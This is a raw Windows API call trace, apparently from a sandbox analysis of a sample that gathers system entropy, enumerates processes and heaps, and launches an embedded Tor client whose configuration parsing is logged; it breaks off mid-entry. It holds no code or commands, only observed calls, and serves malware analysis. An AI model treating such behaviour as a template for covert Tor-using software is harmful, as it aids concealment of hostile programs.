[0113.345] Heap32Next (lphe=0x36f2d8) returned 1 [0113.347] Heap32Next (lphe=0x36f2d8) returned 1 [0113.349] Heap32Next (lphe=0x36f2d8) returned 1 [0113.352] Heap32Next (lphe=0x36f2d8) returned 1 [0113.354] Heap32Next (lphe=0x36f2d8) returned 1 [0113.356] Heap32Next (lphe=0x36f2d8) returned 1 [0113.359] Heap32Next (lphe=0x36f2d8) returned 1 [0113.361] Heap32Next (lphe=0x36f2d8) returned 1 [0113.364] Heap32Next (lphe=0x36f2d8) returned 1 [0113.366] Heap32Next (lphe=0x36f2d8) returned 1 [0113.369] Heap32Next (lphe=0x36f2d8) returned 1 [0113.371] Heap32Next (lphe=0x36f2d8) returned 1 [0113.420] Heap32Next (lphe=0x36f2d8) returned 1 [0113.423] Heap32Next (lphe=0x36f2d8) returned 1 [0113.425] Heap32Next (lphe=0x36f2d8) returned 1 [0113.427] Heap32Next (lphe=0x36f2d8) returned 1 [0113.429] Heap32Next (lphe=0x36f2d8) returned 1 [0113.432] Heap32Next (lphe=0x36f2d8) returned 1 [0113.434] Heap32ListNext (hSnapshot=0x80, lphl=0x36f2ac) returned 1 [0113.434] GetTickCount () returned 0x23468 [0113.434] Heap32First (lphe=0x36f2d8, th32ProcessID=0x9b4, th32HeapID=0x9f0000) returned 1 [0113.437] Heap32Next (lphe=0x36f2d8) returned 1 [0113.439] Heap32Next (lphe=0x36f2d8) returned 1 [0113.442] Heap32Next (lphe=0x36f2d8) returned 1 [0113.444] Heap32Next (lphe=0x36f2d8) returned 1 [0113.446] Heap32Next (lphe=0x36f2d8) returned 1 [0113.449] Heap32Next (lphe=0x36f2d8) returned 1 [0113.451] Heap32Next (lphe=0x36f2d8) returned 1 [0113.453] Heap32Next (lphe=0x36f2d8) returned 1 [0113.455] Heap32Next (lphe=0x36f2d8) returned 1 [0113.458] Heap32Next (lphe=0x36f2d8) returned 1 [0113.460] Heap32Next (lphe=0x36f2d8) returned 1 [0113.463] Heap32Next (lphe=0x36f2d8) returned 1 [0113.466] Heap32Next (lphe=0x36f2d8) returned 1 [0113.533] Heap32Next (lphe=0x36f2d8) returned 1 [0113.535] Heap32Next (lphe=0x36f2d8) returned 1 [0113.537] Heap32Next (lphe=0x36f2d8) returned 1 [0113.540] Heap32Next (lphe=0x36f2d8) returned 1 [0113.542] Heap32Next (lphe=0x36f2d8) returned 1 [0113.544] Heap32Next (lphe=0x36f2d8) returned 1 [0113.546] Heap32Next (lphe=0x36f2d8) returned 1 [0113.548] Heap32Next (lphe=0x36f2d8) returned 1 [0113.550] Heap32Next (lphe=0x36f2d8) returned 1 [0113.553] Heap32Next (lphe=0x36f2d8) returned 1 [0113.555] Heap32Next (lphe=0x36f2d8) returned 1 [0113.557] Heap32Next (lphe=0x36f2d8) returned 1 [0113.559] Heap32Next (lphe=0x36f2d8) returned 1 [0113.561] Heap32Next (lphe=0x36f2d8) returned 1 [0113.564] Heap32Next (lphe=0x36f2d8) returned 1 [0113.566] Heap32Next (lphe=0x36f2d8) returned 1 [0113.568] Heap32Next (lphe=0x36f2d8) returned 1 [0113.570] Heap32Next (lphe=0x36f2d8) returned 1 [0113.572] Heap32Next (lphe=0x36f2d8) returned 1 [0113.574] Heap32Next (lphe=0x36f2d8) returned 1 [0113.670] Heap32Next (lphe=0x36f2d8) returned 1 [0113.673] Heap32Next (lphe=0x36f2d8) returned 1 [0113.675] Heap32Next (lphe=0x36f2d8) returned 1 [0113.677] Heap32Next (lphe=0x36f2d8) returned 1 [0113.679] Heap32Next (lphe=0x36f2d8) returned 1 [0113.682] Heap32Next (lphe=0x36f2d8) returned 1 [0113.684] Heap32Next (lphe=0x36f2d8) returned 1 [0113.686] Heap32Next (lphe=0x36f2d8) returned 1 [0113.688] Heap32Next (lphe=0x36f2d8) returned 1 [0113.691] Heap32Next (lphe=0x36f2d8) returned 1 [0113.693] Heap32Next (lphe=0x36f2d8) returned 1 [0113.695] Heap32Next (lphe=0x36f2d8) returned 1 [0113.697] Heap32Next (lphe=0x36f2d8) returned 1 [0113.699] Heap32Next (lphe=0x36f2d8) returned 1 [0113.702] Heap32Next (lphe=0x36f2d8) returned 1 [0113.704] Heap32Next (lphe=0x36f2d8) returned 1 [0113.706] Heap32Next (lphe=0x36f2d8) returned 1 [0113.708] Heap32Next (lphe=0x36f2d8) returned 1 [0113.710] Heap32Next (lphe=0x36f2d8) returned 1 [0113.712] Heap32Next (lphe=0x36f2d8) returned 1 [0113.714] Heap32Next (lphe=0x36f2d8) returned 1 [0113.850] Process32First (in: hSnapshot=0x80, lppe=0x36f300 | out: lppe=0x36f300*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.851] Process32Next (in: hSnapshot=0x80, lppe=0x36f300 | out: lppe=0x36f300*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0113.851] GetTickCount () returned 0x2360d [0113.851] GetTickCount () returned 0x2360d [0113.851] Thread32First (hSnapshot=0x80, lpte=0x36f2bc) returned 1 [0113.859] FreeLibrary (hLibModule=0x75dc0000) returned 1 [0113.859] QueryPerformanceCounter (in: lpPerformanceCount=0x36f2d8 | out: lpPerformanceCount=0x36f2d8*=557686367) returned 1 [0113.859] GlobalMemoryStatus (in: lpBuffer=0x36f2d8 | out: lpBuffer=0x36f2d8) [0113.859] CryptAcquireContextA (in: phProv=0x1192544, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1192544*=0x74b820) returned 1 [0113.859] CryptGenRandom (in: hProv=0x74b820, dwLen=0x20, pbBuffer=0x36f6cc | out: pbBuffer=0x36f6cc) returned 1 [0113.860] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x77280000 [0113.860] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x75dc0000 [0113.860] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x749d0000 [0113.865] GetProcAddress (hModule=0x749d0000, lpProcName="NetStatisticsGet") returned 0x749d644f [0113.865] GetProcAddress (hModule=0x749d0000, lpProcName="NetApiBufferFree") returned 0x749c13d2 [0113.865] NetStatisticsGet (in: ServerName=0x0, Service=0x72327e14, Level=0x0, Options=0x0, Buffer=0x36f298 | out: Buffer=0x36f298) returned 0x0 [0113.927] GetCurrentThreadId () returned 0x918 [0113.927] NetApiBufferFree (Buffer=0x74d638) returned 0x0 [0113.927] NetStatisticsGet (in: ServerName=0x0, Service=0x72327e38, Level=0x0, Options=0x0, Buffer=0x36f298 | out: Buffer=0x36f298) returned 0x0 [0113.927] GetCurrentThreadId () returned 0x918 [0113.927] NetApiBufferFree (Buffer=0x74d638) returned 0x0 [0113.927] FreeLibrary (hLibModule=0x749d0000) returned 1 [0113.929] GetProcAddress (hModule=0x77280000, lpProcName="CryptAcquireContextW") returned 0x7728df14 [0113.929] GetProcAddress (hModule=0x77280000, lpProcName="CryptGenRandom") returned 0x7728dfc8 [0113.929] GetProcAddress (hModule=0x77280000, lpProcName="CryptReleaseContext") returned 0x7728e124 [0113.929] CryptAcquireContextW (in: phProv=0x36f264, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x36f264*=0x74d638) returned 1 [0113.929] CryptGenRandom (in: hProv=0x74d638, dwLen=0x40, pbBuffer=0x36f60c | out: pbBuffer=0x36f60c) returned 1 [0113.929] GetCurrentThreadId () returned 0x918 [0113.929] CryptReleaseContext (hProv=0x74d638, dwFlags=0x0) returned 1 [0113.929] CryptAcquireContextW (in: phProv=0x36f264, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x36f264*=0x74d638) returned 0 [0113.929] FreeLibrary (hLibModule=0x77280000) returned 1 [0113.929] GetVersion () returned 0x1db10106 [0113.929] GetProcessWindowStation () returned 0x4c [0113.929] GetUserObjectInformationW (in: hObj=0x4c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x36f1d8 | out: pvInfo=0x0, lpnLengthNeeded=0x36f1d8) returned 0 [0113.930] GetLastError () returned 0x7a [0113.930] GetUserObjectInformationW (in: hObj=0x4c, nIndex=2, pvInfo=0x36f190, nLength=0x10, lpnLengthNeeded=0x36f1d8 | out: pvInfo=0x36f190, lpnLengthNeeded=0x36f1d8) returned 1 [0113.930] wcsstr (_Str="WinSta0", _SubStr="Service-0x") returned 0x0 [0113.930] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x757e0000 [0113.930] GetProcAddress (hModule=0x757e0000, lpProcName="GetForegroundWindow") returned 0x75802320 [0113.930] GetProcAddress (hModule=0x757e0000, lpProcName="GetCursorInfo") returned 0x7585812f [0113.930] GetProcAddress (hModule=0x757e0000, lpProcName="GetQueueStatus") returned 0x75803924 [0113.930] GetForegroundWindow () returned 0x101a0 [0113.930] GetCurrentThreadId () returned 0x918 [0113.930] GetVersion () returned 0x1db10106 [0113.930] GetVersion () returned 0x1db10106 [0113.930] GetCursorInfo (in: pci=0x36f298 | out: pci=0x36f298) returned 1 [0113.930] GetQueueStatus (flags=0x4bf) returned 0x0 [0113.930] GetCurrentThreadId () returned 0x918 [0113.930] FreeLibrary (hLibModule=0x757e0000) returned 1 [0113.930] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x75df735f [0113.930] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0113.930] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32First") returned 0x75e55763 [0113.930] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32Next") returned 0x75e5594e [0113.930] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32ListFirst") returned 0x75e55621 [0113.931] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32ListNext") returned 0x75e556cb [0113.931] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32First") returned 0x75df8ae7 [0113.931] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32Next") returned 0x75df88a4 [0113.931] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32First") returned 0x75e55b93 [0113.931] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32Next") returned 0x75e55c3f [0113.931] GetProcAddress (hModule=0x75dc0000, lpProcName="Module32First") returned 0x75e55cd9 [0113.931] GetProcAddress (hModule=0x75dc0000, lpProcName="Module32Next") returned 0x75e55dc2 [0113.931] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x7c [0113.934] GetTickCount () returned 0x2365b [0113.934] Heap32ListFirst (hSnapshot=0x7c, lphl=0x36f26c) returned 1 [0113.935] GetCurrentThreadId () returned 0x918 [0114.077] Process32First (in: hSnapshot=0x7c, lppe=0x36f2c0 | out: lppe=0x36f2c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.078] GetCurrentThreadId () returned 0x918 [0114.078] Process32Next (in: hSnapshot=0x7c, lppe=0x36f2c0 | out: lppe=0x36f2c0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.078] GetTickCount () returned 0x236f7 [0114.078] GetTickCount () returned 0x236f7 [0114.078] Thread32First (hSnapshot=0x7c, lpte=0x36f27c) returned 1 [0114.079] GetCurrentThreadId () returned 0x918 [0114.093] FreeLibrary (hLibModule=0x75dc0000) returned 1 [0114.093] QueryPerformanceCounter (in: lpPerformanceCount=0x36f298 | out: lpPerformanceCount=0x36f298*=558509506) returned 1 [0114.093] GetCurrentThreadId () returned 0x918 [0114.093] GlobalMemoryStatus (in: lpBuffer=0x36f298 | out: lpBuffer=0x36f298) [0114.093] GetCurrentThreadId () returned 0x918 [0114.810] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1e [0114.810] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1e [0114.810] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1e [0114.810] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1e [0114.810] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1e [0114.810] strlen (_Str="OpenSSL ") returned 0x8 [0114.810] strncmp (_Str1="OpenSSL ", _Str2="OpenSSL ", _MaxCount=0x8) returned 0 [0114.810] GetVersionExA (in: lpVersionInformation=0x36f690*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x36f690*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0114.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36cd60 | out: lpSystemTimeAsFileTime=0x36cd60*(dwLowDateTime=0x3af56f50, dwHighDateTime=0x1d31ac1)) [0114.810] localtime (param_1=0x36cdb0) returned 0x841688 [0114.912] strftime (in: _Buf=0x36cedc, _SizeInBytes=0x27fe, _Format="%b %d %H:%M:%S", _Tm=0x841688 | out: _Buf="Aug 22 01:35:34") returned 0xf [0114.912] _vsnprintf (in: _DstBuf=0x36ceeb, _MaxCount=0x27ef, _Format=".%.3i [%s] ", _ArgList=0x36cd8c | out: _DstBuf=".405 [notice] ") returned 14 [0114.912] _vsnprintf (in: _DstBuf=0x36cef9, _MaxCount=0x27e1, _Format="Tor v%s %srunning on %s with Libevent %s, OpenSSL %s and Zlib %s.", _ArgList=0x36f750 | out: _DstBuf="Tor v0.2.8.9 (git-44c5fc6878d91d60) running on Windows 7 with Libevent 2.0.22-stable, OpenSSL 1.0.1u and Zlib 1.2.8.") returned 116 [0114.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36cd60 | out: lpSystemTimeAsFileTime=0x36cd60*(dwLowDateTime=0x3b03b790, dwHighDateTime=0x1d31ac1)) [0114.912] localtime (param_1=0x36cdb0) returned 0x841688 [0114.912] strftime (in: _Buf=0x36cedc, _SizeInBytes=0x27fe, _Format="%b %d %H:%M:%S", _Tm=0x841688 | out: _Buf="Aug 22 01:35:34") returned 0xf [0114.912] _vsnprintf (in: _DstBuf=0x36ceeb, _MaxCount=0x27ef, _Format=".%.3i [%s] ", _ArgList=0x36cd8c | out: _DstBuf=".498 [notice] ") returned 14 [0114.912] _vsnprintf (in: _DstBuf=0x36cef9, _MaxCount=0x27e1, _Format="Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning", _ArgList=0x36f750 | out: _DstBuf="Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning") returned 116 [0114.913] strstr (_Str="0.2.8.9 (git-44c5fc6878d91d60)", _SubStr="alpha") returned 0x0 [0114.913] strstr (_Str="0.2.8.9 (git-44c5fc6878d91d60)", _SubStr="beta") returned 0x0 [0114.913] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x36f59c | out: lpWSAData=0x36f59c) returned 0 [0114.916] _onexit (_Func=0xed6ed8) returned 0xed6ed8 [0114.917] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x36f49c | out: ppidl=0x36f49c) returned 0x0 [0115.053] SHGetPathFromIDListA (in: pidl=0x75a990, pszPath=0x36f4a8 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 1 [0115.053] SHGetMalloc (in: ppMalloc=0x36f4a0 | out: ppMalloc=0x36f4a0*=0x754266bc) returned 0x0 [0115.053] IMalloc:Free (This=0x754266bc, pv=0x75a990) [0115.053] IUnknown:AddRef (This=0x754266bc) returned 0x1 [0115.053] _vsnprintf (in: _DstBuf=0x118f520, _MaxCount=0x104, _Format="%s\\torrc-defaults", _ArgList=0x36f5cc | out: _DstBuf="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc-defaults") returned 58 [0115.053] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc-defaults") returned 0x3a [0115.053] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc-defaults", _Stat=0x36f5b8 | out: _Stat=0x36f5b8) returned -1 [0115.054] _errno () returned 0x9f07d8 [0115.054] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc-defaults") returned 0x3a [0115.054] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc-defaults", _Stat=0x36f618 | out: _Stat=0x36f618) returned -1 [0115.054] _errno () returned 0x9f07d8 [0115.054] _vsnprintf (in: _DstBuf=0x118f640, _MaxCount=0x104, _Format="%s\\torrc", _ArgList=0x36f5cc | out: _DstBuf="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc") returned 49 [0115.054] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc") returned 0x31 [0115.054] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc", _Stat=0x36f5b8 | out: _Stat=0x36f5b8) returned -1 [0115.054] _errno () returned 0x9f07d8 [0115.054] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc") returned 0x31 [0115.054] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc", _Stat=0x36f618 | out: _Stat=0x36f618) returned -1 [0115.054] _errno () returned 0x9f07d8 [0115.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36cc80 | out: lpSystemTimeAsFileTime=0x36cc80*(dwLowDateTime=0x3b1923f0, dwHighDateTime=0x1d31ac1)) [0115.054] localtime (param_1=0x36ccd0) returned 0x841688 [0115.054] strftime (in: _Buf=0x36cdfc, _SizeInBytes=0x27fe, _Format="%b %d %H:%M:%S", _Tm=0x841688 | out: _Buf="Aug 22 01:35:34") returned 0xf [0115.054] _vsnprintf (in: _DstBuf=0x36ce0b, _MaxCount=0x27ef, _Format=".%.3i [%s] ", _ArgList=0x36ccac | out: _DstBuf=".639 [notice] ") returned 14 [0115.054] _vsnprintf (in: _DstBuf=0x36ce19, _MaxCount=0x27e1, _Format="Configuration file \"%s\" not present, using reasonable defaults.", _ArgList=0x36f670 | out: _DstBuf="Configuration file \"C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\torrc\" not present, using reasonable defaults.") returned 110 [0115.055] strlen (_Str="AccountingMax") returned 0xd [0115.055] _strcmpi (_Str1="AccountingMax", _Str2="AccountingMax") returned 0 [0115.055] _errno () returned 0x9f07d8 [0115.211] _errno () returned 0x9f07d8 [0115.211] _strcmpi (_Str1="", _Str2="bytes") returned -1 [0115.211] _strcmpi (_Str1="b", _Str2="bytes") returned -1 [0115.211] _strcmpi (_Str1="byte", _Str2="bytes") returned -1 [0115.211] _strcmpi (_Str1="bytes", _Str2="bytes") returned 0 [0115.211] strlen (_Str="AccountingRule") returned 0xe [0115.212] _strcmpi (_Str1="AccountingRule", _Str2="AccountingMax") returned 1 [0115.212] _strcmpi (_Str1="AccountingRule", _Str2="AccountingRule") returned 0 [0115.212] strlen (_Str="AllowDotExit") returned 0xc [0115.212] _strcmpi (_Str1="AllowDotExit", _Str2="AccountingMax") returned 1 [0115.212] _strcmpi (_Str1="AllowDotExit", _Str2="AccountingRule") returned 1 [0115.212] _strcmpi (_Str1="AllowDotExit", _Str2="AccountingStart") returned 1 [0115.212] _strcmpi (_Str1="AllowDotExit", _Str2="Address") returned 1 [0115.212] _strcmpi (_Str1="AllowDotExit", _Str2="AllowDotExit") returned 0 [0115.212] _errno () returned 0x9f07d8 [0115.212] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.212] _errno () returned 0x9f07d8 [0115.212] strlen (_Str="AllowInvalidNodes") returned 0x11 [0115.212] _strcmpi (_Str1="AllowInvalidNodes", _Str2="AccountingMax") returned 1 [0115.212] _strcmpi (_Str1="AllowInvalidNodes", _Str2="AccountingRule") returned 1 [0115.212] _strcmpi (_Str1="AllowInvalidNodes", _Str2="AccountingStart") returned 1 [0115.212] _strcmpi (_Str1="AllowInvalidNodes", _Str2="Address") returned 1 [0115.212] _strcmpi (_Str1="AllowInvalidNodes", _Str2="AllowDotExit") returned 1 [0115.212] _strcmpi (_Str1="AllowInvalidNodes", _Str2="AllowInvalidNodes") returned 0 [0115.212] strstr (_Str="middle,rendezvous", _SubStr=",") returned=",rendezvous" [0115.212] strlen (_Str=",") returned 0x1 [0115.212] strstr (_Str="rendezvous", _SubStr=",") returned 0x0 [0115.212] strlen (_Str="AllowNonRFC953Hostnames") returned 0x17 [0115.212] _strcmpi (_Str1="AllowNonRFC953Hostnames", _Str2="AccountingMax") returned 1 [0115.212] _strcmpi (_Str1="AllowNonRFC953Hostnames", _Str2="AccountingRule") returned 1 [0115.212] _strcmpi (_Str1="AllowNonRFC953Hostnames", _Str2="AccountingStart") returned 1 [0115.212] _strcmpi (_Str1="AllowNonRFC953Hostnames", _Str2="Address") returned 1 [0115.212] _strcmpi (_Str1="AllowNonRFC953Hostnames", _Str2="AllowDotExit") returned 1 [0115.212] _strcmpi (_Str1="AllowNonRFC953Hostnames", _Str2="AllowInvalidNodes") returned 1 [0115.212] _strcmpi (_Str1="AllowNonRFC953Hostnames", _Str2="AllowNonRFC953Hostnames") returned 0 [0115.212] _errno () returned 0x9f07d8 [0115.212] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.212] _errno () returned 0x9f07d8 [0115.213] strlen (_Str="AllowSingleHopCircuits") returned 0x16 [0115.213] _strcmpi (_Str1="AllowSingleHopCircuits", _Str2="AccountingMax") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopCircuits", _Str2="AccountingRule") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopCircuits", _Str2="AccountingStart") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopCircuits", _Str2="Address") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopCircuits", _Str2="AllowDotExit") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopCircuits", _Str2="AllowInvalidNodes") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopCircuits", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopCircuits", _Str2="AllowSingleHopCircuits") returned 0 [0115.213] _errno () returned 0x9f07d8 [0115.213] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.213] _errno () returned 0x9f07d8 [0115.213] strlen (_Str="AllowSingleHopExits") returned 0x13 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="AccountingMax") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="AccountingRule") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="AccountingStart") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="Address") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="AllowDotExit") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="AllowInvalidNodes") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="AllowSingleHopCircuits") returned 1 [0115.213] _strcmpi (_Str1="AllowSingleHopExits", _Str2="AllowSingleHopExits") returned 0 [0115.213] _errno () returned 0x9f07d8 [0115.213] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.213] _errno () returned 0x9f07d8 [0115.213] strlen (_Str="AssumeReachable") returned 0xf [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AccountingMax") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AccountingRule") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AccountingStart") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="Address") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AllowDotExit") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AllowInvalidNodes") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AllowSingleHopCircuits") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AllowSingleHopExits") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AlternateBridgeAuthority") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AlternateDirAuthority") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AlternateHSAuthority") returned 1 [0115.213] _strcmpi (_Str1="AssumeReachable", _Str2="AssumeReachable") returned 0 [0115.213] _errno () returned 0x9f07d8 [0115.213] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.213] _errno () returned 0x9f07d8 [0115.214] strlen (_Str="AuthDirBadExitCCs") returned 0x11 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AccountingMax") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AccountingRule") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AccountingStart") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="Address") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AllowDotExit") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AllowInvalidNodes") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AllowSingleHopCircuits") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AllowSingleHopExits") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AlternateBridgeAuthority") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AlternateDirAuthority") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AlternateHSAuthority") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AssumeReachable") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AuthDirBadDir") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AuthDirBadDirCCs") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AuthDirBadExit") returned 1 [0115.214] _strcmpi (_Str1="AuthDirBadExitCCs", _Str2="AuthDirBadExitCCs") returned 0 [0115.214] strstr (_Str="", _SubStr=",") returned 0x0 [0115.214] strlen (_Str="AuthDirInvalidCCs") returned 0x11 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AccountingMax") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AccountingRule") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AccountingStart") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="Address") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AllowDotExit") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AllowInvalidNodes") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AllowSingleHopCircuits") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AllowSingleHopExits") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AlternateBridgeAuthority") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AlternateDirAuthority") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AlternateHSAuthority") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AssumeReachable") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AuthDirBadDir") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AuthDirBadDirCCs") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AuthDirBadExit") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AuthDirBadExitCCs") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", 